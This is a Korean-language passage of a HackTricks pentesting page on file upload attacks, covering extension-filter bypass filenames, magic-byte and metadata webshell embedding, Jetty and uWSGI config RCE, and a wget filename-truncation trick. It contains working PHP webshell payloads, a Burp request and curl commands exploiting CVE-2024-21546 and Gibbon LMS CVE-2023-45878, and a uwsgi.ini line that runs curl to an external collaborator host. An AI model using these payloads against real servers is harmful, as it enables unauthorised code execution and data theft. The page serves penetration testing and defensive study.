ķŒŒģ¼ ģ—…ė”œė“œ

Tip

AWS 핓킹 배우기 ė° ģ—°ģŠµķ•˜źø°:HackTricks Training AWS Red Team Expert (ARTE)
GCP 핓킹 배우기 ė° ģ—°ģŠµķ•˜źø°: HackTricks Training GCP Red Team Expert (GRTE) Azure 핓킹 배우기 ė° ģ—°ģŠµķ•˜źø°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ģ§€ģ›ķ•˜źø°

ķŒŒģ¼ ģ—…ė”œė“œ ģ¼ė°˜ 방법딠

다넸 ģœ ģš©ķ•œ ķ™•ģž„ģž:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

ķŒŒģ¼ ķ™•ģž„ģž 검사 우회

  1. ģ ģš©ė˜ėŠ” 경우, ģ“ģ „ ķ™•ģž„ģžė“¤ģ„ ķ™•ģøķ•˜ģ„øģš”. ė˜ķ•œ 몇몇 ėŒ€ė¬øģžė„¼ ģ‚¬ģš©ķ•“ ķ…ŒģŠ¤ķŠøķ•“ė³“ģ„øģš”: pHp, .pHP5, .PhAr …
  2. 실행 ķ™•ģž„ģž ģ•žģ— ģœ ķšØķ•œ ķ™•ģž„ģžė„¼ ģ¶”ź°€ķ•˜ėŠ” ź²ƒģ„ ķ™•ģøķ•˜ģ„øģš” (ģ“ģ „ ķ™•ģž„ģžė“¤ė„ ģ‚¬ģš©):
  • file.png.php
  • file.png.Php5
  1. ėģ— 특수 ė¬øģžė„¼ ģ¶”ź°€ķ•“ė³“ģ„øģš”. Burp넼 ģ‚¬ģš©ķ•“ ėŖØė“  ASCII ė° Unicode ė¬øģžė„¼ bruteforceķ•  수 ģžˆģŠµė‹ˆė‹¤. (ģ°øź³ : ģ“ģ „ģ— ģ–øźø‰ķ•œ extensionsė„ ģ‹œė„ķ•  수 ģžˆģŠµė‹ˆė‹¤)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php….
  • file.pHp5….
  1. extension parser넼 ģ†ģ—¬ 볓호넼 ģš°ķšŒķ•“ė³“ģ„øģš” — 예넼 들얓 ķ™•ģž„ģž ģ“ģ¤‘ķ™”ė‚˜ ķ™•ģž„ģž ģ‚¬ģ“ģ— junk ė°ģ“ķ„°(null bytes) ģ‚½ģž… ź°™ģ€ źø°ė²•ģ„ ģ‚¬ģš©ķ•©ė‹ˆė‹¤. ė” ė‚˜ģ€ payload ģž‘ģ„±ģ„ ģœ„ķ•“ ģ“ģ „ ķ™•ģž„ģžė“¤ģ„ ģ‚¬ģš©ķ•  ģˆ˜ė„ ģžˆģŠµė‹ˆė‹¤.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. ģ“ģ „ 첓크에 추가 ķ™•ģž„ģž ė ˆģ“ģ–“ė„¼ ė”ķ•“ė³“ģ„øģš”:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. 실행 ķ™•ģž„ģžė„¼ ģœ ķšØķ•œ ķ™•ģž„ģž ģ•žģ— 두고 ģ„œė²„ź°€ ģž˜ėŖ» źµ¬ģ„±ė˜ģ—ˆźø°ė„¼ źø°ėŒ€ķ•“ė³“ģ„øģš”. (useful to exploit Apache misconfigurations where anything with extension** .php, but not necessarily ending in .php** will execute code):
  • ex: file.php.png
  1. Windowsģ—ģ„œ NTFS alternate data stream (ADS) ķ™œģš©. ģ“ 경우 źøˆģ§€ėœ ķ™•ģž„ģž 뒤와 ķ—ˆģš©ėœ ķ™•ģž„ģž ģ•žģ— 콜딠 ā€œ:ā€ ė¬øģžź°€ ģ‚½ģž…ė©ė‹ˆė‹¤. 결과적으딜 ģ„œė²„ģ— źøˆģ§€ėœ ķ™•ģž„ģžė„¼ 가진 빈 ķŒŒģ¼ģ“ ģƒģ„±ė  수 ģžˆģŠµė‹ˆė‹¤(예: ā€œfile.asax:.jpgā€). ģ“ ķŒŒģ¼ģ€ ģ“ķ›„ short filename ź°™ģ€ 다넸 źø°ė²•ģœ¼ė”œ ķŽøģ§‘ė  수 ģžˆģŠµė‹ˆė‹¤. ā€œ::$dataā€ ķŒØķ„“ģ„ ģ‚¬ģš©ķ•˜ė©“ ė¹„ģ–“ģžˆģ§€ ģ•Šģ€ ķŒŒģ¼ė„ ģƒģ„±ķ•  수 ģžˆģŠµė‹ˆė‹¤. ė”°ė¼ģ„œ ģ“ ķŒØķ„“ 뒤에 점 ė¬øģžė„¼ ģ¶”ź°€ķ•˜ėŠ” ź²ƒė„ 추가 ģ œķ•œģ„ ģš°ķšŒķ•˜ėŠ” ė° ģœ ģš©ķ•  수 ģžˆģŠµė‹ˆė‹¤(예: ā€œfile.asp::$data.ā€)
  2. ķŒŒģ¼ėŖ… źøøģ“ ģ œķ•œģ„ ź¹Øė³“ģ„øģš”. ģœ ķšØķ•œ ķ™•ģž„ģžź°€ ģž˜ė¦¬ź³  악성 PHPź°€ ė‚ØģŠµė‹ˆė‹¤. AAA<–SNIP–>AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png

UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546

ģ¼ė¶€ upload handlerėŠ” ģ €ģž„ėœ ķŒŒģ¼ėŖ…ģ—ģ„œ ėģ˜ 점 ė¬øģž(trailing dot)넼 ģž˜ė¼ė‚“ź±°ė‚˜ ģ •ź·œķ™”ķ•©ė‹ˆė‹¤. UniSharpģ˜ Laravel Filemanager (unisharp/laravel-filemanager) 2.9.1 ģ“ģ „ ė²„ģ „ģ—ģ„œėŠ” ė‹¤ģŒź³¼ ź°™ģ“ extension ź²€ģ¦ģ„ ģš°ķšŒķ•  수 ģžˆģŠµė‹ˆė‹¤:

  • PNGģ˜ \x89PNG\r\n\x1a\n ź°™ģ€ ģœ ķšØķ•œ ģ“ėÆøģ§€ MIMEź³¼ magic header넼 ģ‚¬ģš©ķ•©ė‹ˆė‹¤.
  • ģ—…ė”œė“œėœ ķŒŒģ¼ ģ“ė¦„ģ„ PHP ķ™•ģž„ģž 뒤에 ģ ģ„ ė¶™ģ—¬ģ„œ ģ§€ģ •ķ•©ė‹ˆė‹¤. 예: shell.php.
  • ģ„œė²„ź°€ ėģ˜ ģ ģ„ ģ œź±°ķ•˜ģ—¬ shell.php딜 ģ €ģž„ķ•˜ź³ , ģ“ ķŒŒģ¼ģ“ ģ›¹ģœ¼ė”œ ģ„œė¹™ė˜ėŠ” 디렉터리에 ģœ„ģ¹˜ķ•˜ė©“ ģ‹¤ķ–‰ė©ė‹ˆė‹¤(źø°ė³ø public storage 예: /storage/files/).

ź°„ė‹Øķ•œ PoC (Burp Repeater):

POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png

\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--

그런 ė‹¤ģŒ ģ €ģž„ėœ 경딜넼 ķ˜øģ¶œķ•˜ģ„øģš” (Laravel + LFMģ—ģ„œ ģ¼ė°˜ģ ):

GET /storage/files/0xdf.php?cmd=id

Content-Type, Magic Number, Compression & Resizing 우회

  • Content-Type 검사넼 ģš°ķšŒķ•˜ė ¤ė©“ Content-Type headerģ˜ value넼 ė‹¤ģŒģœ¼ė”œ ģ„¤ģ •ķ•˜ģ„øģš”: image/png , text/plain , application/octet-stream
  1. Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • magic number ź²€ģ‚¬ėŠ” ķŒŒģ¼ģ˜ ė§Ø ģ•žģ— ģ‹¤ģ œ ģ“ėÆøģ§€ģ˜ bytes넼 ģ¶”ź°€ķ•˜ģ—¬ ģš°ķšŒķ•  수 ģžˆģŠµė‹ˆė‹¤ (file ėŖ…ė ¹ģ„ ķ˜¼ė™ģ‹œķ‚µė‹ˆė‹¤). ė˜ėŠ” metadata ģ•ˆģ— ģ‰˜ģ„ ģ‚½ģž…ķ•˜ģ„øģš”:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ ė˜ėŠ” ķŽ˜ģ“ė”œė“œė„¼ ģ“ėÆøģ§€ģ— 직접 ģ‚½ģž…ķ•  ģˆ˜ė„ ģžˆģŠµė‹ˆė‹¤:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • ģ“ėÆøģ§€ģ— compressionģ“ ģ ģš©ė˜ėŠ” 경우(예: PHP-GD ź°™ģ€ ķ‘œģ¤€ PHP ė¼ģ“ėøŒėŸ¬ė¦¬ė„¼ ģ‚¬ģš©ķ•˜ėŠ” 경우), ģ“ģ „ źø°ģˆ ė“¤ģ€ ķšØź³¼ź°€ ģ—†ģ„ 수 ģžˆģŠµė‹ˆė‹¤. ģ“ė•ŒėŠ” PLTE chunk technique defined here넼 ģ‚¬ģš©ķ•“ ģ••ģ¶•ģ„ ź²¬ė””ėŠ” ķ…ģŠ¤ķŠøė„¼ ģ‚½ģž…ķ•  수 ģžˆģŠµė‹ˆė‹¤.
  • Github with the code
  • 웹 ķŽ˜ģ“ģ§€ź°€ 예넼 들얓 PHP-GD ķ•Øģˆ˜ imagecopyresized ė˜ėŠ” imagecopyresampled넼 ģ‚¬ģš©ķ•“ image넼 resizingķ•  ģˆ˜ė„ ģžˆģŠµė‹ˆė‹¤. ģ“ 경우 IDAT chunk technique defined here넼 ģ‚¬ģš©ķ•“ ģ••ģ¶•ģ„ ź²¬ė””ėŠ” ķ…ģŠ¤ķŠøė„¼ ģ‚½ģž…ķ•  수 ģžˆģŠµė‹ˆė‹¤.
  • Github with the code
  • PHP-GDģ˜ thumbnailImage ķ•Øģˆ˜ė”œ ģ“ėÆøģ§€ 크기 ģ”°ģ • ģ‹œģ—ė„ ķŽ˜ģ“ė”œė“œź°€ ģƒģ”“ķ•˜ė„ė” ķ•˜ėŠ” 다넸 źø°ė²•ģ“ ģžˆģŠµė‹ˆė‹¤. ė˜ėŠ” tEXt chunk technique defined here넼 ģ‚¬ģš©ķ•“ ģ••ģ¶•ģ„ ź²¬ė””ėŠ” ķ…ģŠ¤ķŠøė„¼ ģ‚½ģž…ķ•  수 ģžˆģŠµė‹ˆė‹¤.
  • Github with the code

ķ™•ģøķ•  źø°ķƒ€ 트릭

  • ģ“ėÆø ģ—…ė”œė“œėœ ķŒŒģ¼ģ˜ ģ“ė¦„(ķ™•ģž„ģž)ģ„ 변경할 수 ģžˆėŠ” ģ·Øģ•½ģ ģ„ ģ°¾ģœ¼ģ„øģš”.
  • Local File Inclusion ģ·Øģ•½ģ ģ„ 찾아 ė°±ė„ģ–“ė„¼ ģ‹¤ķ–‰ķ•˜ģ„øģš”.
  • ź°€ėŠ„ķ•œ 정볓 유출:
  1. ė™ģ¼ķ•œ ģ“ė¦„ģœ¼ė”œ ģ—¬ėŸ¬ 번(ė™ģ‹œģ—) ź°™ģ€ ķŒŒģ¼ģ„ ģ—…ė”œė“œķ•˜ģ„øģš”.
  2. ģ“ėÆø ģ”“ģž¬ķ•˜ėŠ” ķŒŒģ¼ ė˜ėŠ” ķ“ė”ģ˜ ģ“ė¦„ģœ¼ė”œ ķŒŒģ¼ģ„ ģ—…ė”œė“œķ•˜ģ„øģš”.
  3. ķŒŒģ¼ ģ“ė¦„ģ„ ".", "..", ė˜ėŠ” "…"딜 ģ—…ė”œė“œķ•˜ģ„øģš”. 예넼 들얓, Apacheź°€ Windowsģ—ģ„œ ģ• ķ”Œė¦¬ģ¼€ģ“ģ…˜ģ“ ģ—…ė”œė“œėœ ķŒŒģ¼ģ„ ā€œ/www/uploads/ā€ 디렉터리에 ģ €ģž„ķ•˜ė©“, ā€œ.ā€ ķŒŒģ¼ėŖ…ģ€ ā€œ/www/ā€ 디렉터리에 ā€œuploadsā€ė¼ėŠ” ķŒŒģ¼ģ„ ģƒģ„±ķ•  수 ģžˆģŠµė‹ˆė‹¤.
  4. NTFSģ—ģ„œ ģ‰½ź²Œ ģ‚­ģ œė˜ģ§€ ģ•ŠėŠ” ķŒŒģ¼ ģ“ė¦„(예: ā€œā€¦:.jpgā€)ģ„ ģ—…ė”œė“œķ•˜ģ„øģš”. (Windows)
  5. ģ“ė¦„ģ— |<>*?ā€ ź°™ģ€ ģœ ķšØķ•˜ģ§€ ģ•Šģ€ ė¬øģžė„¼ ķ¬ķ•Øķ•œ ķŒŒģ¼ģ„ Windows에 ģ—…ė”œė“œķ•˜ģ„øģš”. (Windows)
  6. CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9 ź°™ģ€ ģ˜ˆģ•½(źøˆģ§€)된 ģ“ė¦„ģ„ ģ‚¬ģš©ķ•“ Windows에 ķŒŒģ¼ģ„ ģ—…ė”œė“œķ•˜ģ„øģš”.
  • ė˜ķ•œ 실행 ź°€ėŠ„ķ•œ ķŒŒģ¼(.exe)ģ“ė‚˜ ėœ ģ˜ģ‹¬ģŠ¤ėŸ¬ģš“ .html ķŒŒģ¼ģ„ ģ—…ė”œė“œķ•“ ķ”¼ķ•“ģžź°€ ģ‹¤ģˆ˜ė”œ ģ—“ģ—ˆģ„ ė•Œ ģ½”ė“œź°€ ģ‹¤ķ–‰ė˜ė„ė” ģ‹œė„ķ•“ ė³“ģ„øģš”.

특수 ķ™•ģž„ģž 트릭

PHP ģ„œė²„ģ— ķŒŒģ¼ģ„ ģ—…ė”œė“œķ•˜ė ¤ėŠ” 경우, ģ½”ė“œ ģ‹¤ķ–‰ģ„ ģœ„ķ•œ .htaccess ķŠøė¦­ģ„ ķ™•ģøķ•˜ģ„øģš”.
ASP ģ„œė²„ģ— ķŒŒģ¼ģ„ ģ—…ė”œė“œķ•˜ė ¤ėŠ” 경우, ģ½”ė“œ ģ‹¤ķ–‰ģ„ ģœ„ķ•œ .config ķŠøė¦­ģ„ ķ™•ģøķ•˜ģ„øģš”.

.phar ķŒŒģ¼ģ€ javaģ˜ .jar와 ģœ ģ‚¬ķ•˜ģ§€ė§Œ phpģš©ģ“ė©°, php딜 ģ‹¤ķ–‰ķ•˜ź±°ė‚˜ ģŠ¤ķ¬ė¦½ķŠøģ— ķ¬ķ•Øķ•˜ģ—¬ php ķŒŒģ¼ģ²˜ėŸ¼ ģ‚¬ģš©ķ•  수 ģžˆģŠµė‹ˆė‹¤.

.inc ķ™•ģž„ģžėŠ” 종종 import ģš©ė„ė”œė§Œ ģ‚¬ģš©ė˜ėŠ” php ķŒŒģ¼ģ— ģ‚¬ģš©ė˜ėÆ€ė”œ, ģ–“ė–¤ ź²½ģš°ģ—ėŠ” ģ“ ķ™•ģž„ģžź°€ ģ‹¤ķ–‰ė˜ė„ė” ķ—ˆģš©ė˜ģ–“ ģžˆģ„ 수 ģžˆģŠµė‹ˆė‹¤.

Jetty RCE

Jetty ģ„œė²„ģ— XML ķŒŒģ¼ģ„ ģ—…ė”œė“œķ•  수 ģžˆė‹¤ė©“ 새딜욓 *.xml ė° *.warź°€ ģžė™ģœ¼ė”œ 처리되기 ė•Œė¬øģ— RCE넼 ģ–»ģ„ 수 ģžˆģŠµė‹ˆė‹¤. ė”°ė¼ģ„œ ģ•„ėž˜ ģ“ėÆøģ§€ģ— ģ„¤ėŖ…ėœ ėŒ€ė”œ XML ķŒŒģ¼ģ„ $JETTY_BASE/webapps/에 ģ—…ė”œė“œķ•˜ė©“ ģ‰˜ģ„ źø°ėŒ€ķ•  수 ģžˆģŠµė‹ˆė‹¤!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

ģ“ 취약점에 ėŒ€ķ•œ ģžģ„øķ•œ ė‚“ģš©ģ€ 원문 ė¦¬ģ„œģ¹˜ė„¼ ķ™•ģøķ•˜ģ„øģš”: uWSGI RCE Exploitation.

Remote Command Execution (RCE) ģ·Øģ•½ģ ģ€ .ini 구성 ķŒŒģ¼ģ„ ģˆ˜ģ •ķ•  수 ģžˆėŠ” 경우 uWSGI ģ„œė²„ģ—ģ„œ ģ•…ģš©ė  수 ģžˆģŠµė‹ˆė‹¤. uWSGI 구성 ķŒŒģ¼ģ€ ķŠ¹ģ •ķ•œ ė¬øė²•ģœ¼ė”œ ā€œmagicā€ ė³€ģˆ˜, ķ”Œė ˆģ“ģŠ¤ķ™€ė” ė° ģ—°ģ‚°ģžė„¼ ķ¬ķ•Øķ•©ė‹ˆė‹¤. ķŠ¹ķžˆ @(filename)처럼 ģ‚¬ģš©ė˜ėŠ” ā€˜@’ ģ—°ģ‚°ģžėŠ” ķŒŒģ¼ģ˜ ė‚“ģš©ģ„ ķ¬ķ•Øķ•˜ė„ė” ģ„¤ź³„ė˜ģ–“ ģžˆģŠµė‹ˆė‹¤. uWSGIģ—ģ„œ ģ§€ģ›ė˜ėŠ” ģ—¬ėŸ¬ ģŠ¤ķ‚“ 중 ā€œexecā€ ģŠ¤ķ‚“ģ€ ķ”„ė”œģ„øģŠ¤ģ˜ ķ‘œģ¤€ ģ¶œė „ģ—ģ„œ ė°ģ“ķ„°ė„¼ ģ½ģ„ 수 ģžˆź²Œ ķ•“ 매우 ź°•ė „ķ•˜ė©°, .ini 구성 ķŒŒģ¼ģ“ 처리될 ė•Œ ģ“ źø°ėŠ„ģ„ Remote Command Execution ė˜ėŠ” Arbitrary File Write/Read에 ģ•…ģš©ķ•  수 ģžˆģŠµė‹ˆė‹¤.

ė‹¤ģŒģ€ ė‹¤ģ–‘ķ•œ ģŠ¤ķ‚“ģ„ ė³“ģ—¬ģ£¼ėŠ” ģ•…ģ˜ģ ģø uwsgi.ini ķŒŒģ¼ģ˜ 예넼 고려핓 ė³“ģ„øģš”:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

구성 ķŒŒģ¼ģ„ ķŒŒģ‹±ķ•˜ėŠ” ė™ģ•ˆ payloadź°€ ģ‹¤ķ–‰ė©ė‹ˆė‹¤. źµ¬ģ„±ģ“ ķ™œģ„±ķ™”ė˜ģ–“ ķŒŒģ‹±ė˜ė ¤ė©“ uWSGI ķ”„ė”œģ„øģŠ¤ź°€ ģž¬ģ‹œģž‘ė˜ģ–“ģ•¼ ķ•©ė‹ˆė‹¤(ģ¶©ėŒ 후 ė˜ėŠ” Denial of Service 공격으딜 ģøķ•“) ė˜ėŠ” ķŒŒģ¼ģ“ auto-reload딜 ģ„¤ģ •ė˜ģ–“ģ•¼ ķ•©ė‹ˆė‹¤. auto-reload źø°ėŠ„ģ“ ķ™œģ„±ķ™”ėœ 경우 ė³€ź²½ģ„ ź°ģ§€ķ•˜ė©“ ģ§€ģ •ėœ ź°„ź²©ģœ¼ė”œ ķŒŒģ¼ģ„ ė‹¤ģ‹œ ė”œė“œķ•©ė‹ˆė‹¤.

uWSGIģ˜ 구성 ķŒŒģ¼ ķŒŒģ‹±ģ“ ėŠģŠØķ•˜ė‹¤ėŠ” ģ ģ„ ģ“ķ•“ķ•˜ėŠ” ź²ƒģ“ ģ¤‘ģš”ķ•©ė‹ˆė‹¤. ķŠ¹ķžˆ, ģ—¬źø°ģ„œ ė…¼ģ˜ėœ payloadėŠ” ė°”ģ“ė„ˆė¦¬ ķŒŒģ¼(예: image ė˜ėŠ” PDF) ģ•ˆģ— ģ‚½ģž…ė  수 ģžˆģ–“ ģž ģž¬ģ  ģ•…ģš© ė²”ģœ„ė„¼ ė”ģš± ė„“ķž™ė‹ˆė‹¤.

Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)

Gibbon LMSģ˜ ģøģ¦ė˜ģ§€ ģ•Šģ€ endpointėŠ” 웹 루트 낓에 arbitrary file write넼 ķ—ˆģš©ķ•˜ė©°, PHP ķŒŒģ¼ģ„ ģ—…ė”œė“œķ•“ pre-auth RCE딜 ģ“ģ–“ģ§‘ė‹ˆė‹¤. 취약 버전: 25.0.01ź¹Œģ§€(ķ¬ķ•Ø).

  • Endpoint: /Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php
  • Method: POST
  • Required params:
  • img: data-URI-like string: [mime];[name],[base64] (ģ„œė²„ėŠ” type/nameģ„ ė¬“ģ‹œķ•˜ź³  꼬리 ė¶€ė¶„ģ„ base64 ė””ģ½”ė“œķ•©ė‹ˆė‹¤)
  • path: destination filename relative to Gibbon install dir (e.g., poc.php or 0xdf.php)
  • gibbonPersonID: any non-empty value is accepted (e.g., 0000000001)

Minimal PoC to write and read back a file:

# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK

# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'

# Verify write
curl http://target/Gibbon-LMS/poc.php

ģµœģ†Œķ•œģ˜ webshellģ„ ģ—…ė”œė“œķ•˜ģ—¬ ėŖ…ė ¹ģ„ 실행:

# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==

curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'

curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'

ģ°øź³ :

  • ķ•øė“¤ėŸ¬ėŠ” ; ė° , 딜 ė¶„ķ• ķ•œ 후 base64_decode($_POST["img"]) 넼 ģˆ˜ķ–‰ķ•˜ź³ , ķ™•ģž„ģž/ķƒ€ģž…ģ„ ź²€ģ¦ķ•˜ģ§€ ģ•Šģ€ 채 ė°”ģ“ķŠøė„¼ $absolutePath . '/' . $_POST['path'] 에 ģ”ė‹ˆė‹¤.
  • 결과적으딜 ģ‹¤ķ–‰ė˜ėŠ” ģ½”ė“œėŠ” 웹 ģ„œė¹„ģŠ¤ ģ‚¬ģš©ģž ź¶Œķ•œģœ¼ė”œ ģ‹¤ķ–‰ė©ė‹ˆė‹¤(예: XAMPP Apache on Windows).

ģ“ 버그에 ėŒ€ķ•œ ģ°øģ”°ė”œėŠ” usd HeroLab advisory와 NVD ķ•­ėŖ©ģ“ ķ¬ķ•Øė©ė‹ˆė‹¤. ģ•„ėž˜ģ˜ References ģ„¹ģ…˜ģ„ ģ°øģ”°ķ•˜ģ„øģš”.

wget File Upload/SSRF Trick

ź²½ģš°ģ— ė”°ė¼ ģ„œė²„ź°€ wget ģ„ ģ‚¬ģš©ķ•“ ķŒŒģ¼ģ„ ė‹¤ģš“ė”œė“œ ķ•˜ź³ , ė‹¹ģ‹ ģ“ URL ģ„ 지정할 수 ģžˆėŠ” ģƒķ™©ģ„ ė°œź²¬ķ•  수 ģžˆģŠµė‹ˆė‹¤. ģ“ėŸ¬ķ•œ 경우 ģ½”ė“œź°€ ė‹¤ģš“ė”œė“œėœ ķŒŒģ¼ģ˜ ķ™•ģž„ģžź°€ ķ—ˆģš© ėŖ©ė”(whitelist)에 ģžˆėŠ”ģ§€ ķ™•ģøķ•˜ģ—¬ ķ—ˆģš©ėœ ķŒŒģ¼ė§Œ ė‹¤ģš“ė”œė“œė˜ė„ė” ķ•  수 ģžˆģŠµė‹ˆė‹¤. ź·øėŸ¬ė‚˜, ģ“ ź²€ģ‚¬ėŠ” 우회될 수 ģžˆģŠµė‹ˆė‹¤.
linuxģ—ģ„œ filenameģ˜ ģµœėŒ€ źøøģ“ėŠ” 255ģ“ģ§€ė§Œ, wgetģ€ ķŒŒģ¼ėŖ…ģ„ 236ģžė”œ ģž˜ė¼ė²„ė¦½ė‹ˆė‹¤. ė‹¹ģ‹ ģ€ *ā€œAā€232+ā€œ.phpā€+ā€œ.gifā€ ė¼ėŠ” ķŒŒģ¼ģ„ ė‹¤ģš“ė”œė“œ ķ•  수 ģžˆģœ¼ė©°, ģ“ ķŒŒģ¼ėŖ…ģ€ 첓크넼 우회 ķ•©ė‹ˆė‹¤(ģ“ ģ˜ˆģ—ģ„œ ā€œ.gifā€ ėŠ” ģœ ķšØķ•œ ķ™•ģž„ģžģž…ė‹ˆė‹¤). ķ•˜ģ§€ė§Œ wgetģ€ ķŒŒģ¼ėŖ…ģ„ *ā€œAā€232+ā€œ.phpā€ 딜 변경 ķ•©ė‹ˆė‹¤.

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ā€˜AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ā€˜AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Note that another option you may be thinking of to bypass this check is to make the HTTP server redirect to a different file, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This won’t work unless wget is being used with the parameter --trust-server-names because wget will download the redirected page with the name of the file indicated in the original URL.

NTFS junctions (Windows)넼 ģ“ģš©ķ•œ ģ—…ė”œė“œ 디렉터리 탈출

